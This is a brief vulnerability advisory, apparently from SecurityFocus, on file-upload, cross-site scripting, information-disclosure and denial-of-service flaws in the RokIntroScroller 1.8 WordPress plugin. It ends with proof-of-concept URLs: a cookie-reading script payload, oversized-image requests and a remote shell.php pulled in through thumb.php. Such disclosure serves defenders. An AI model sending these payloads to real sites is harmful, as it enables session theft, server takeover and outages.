source: http://www.securityfocus.com/bid/62493/info

The RokIntroScroller plugin for WordPress is prone to multiple security vulnerabilities, including:

1. An arbitrary file-upload vulnerability
2. A cross-site scripting vulnerability
3. An information-disclosure vulnerability
4. A denial-of-service vulnerability

Attackers can exploit these issues to obtain sensitive information, upload arbitrary files, perform a denial-of-service attack, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

RokIntroScroller 1.8 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/wp_rokintroscroller/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg

http://www.example.com/wp-content/plugins/wp_rokintroscroller/thumb.php?src=http://www.example2.com/page.png&h=1&w=1111111

http://www.example.com/wp-content/plugins/wp_rokintroscroller/thumb.php?src=http://www.example2.com/big_file&h=1&w=1

http://www.example.com/wp-content/plugins/wp_rokintroscroller/thumb.php?src=http://www.example2.com/shell.php

http://www.example.com/wp-content/plugins/wp_rokintroscroller/rokintroscroller.php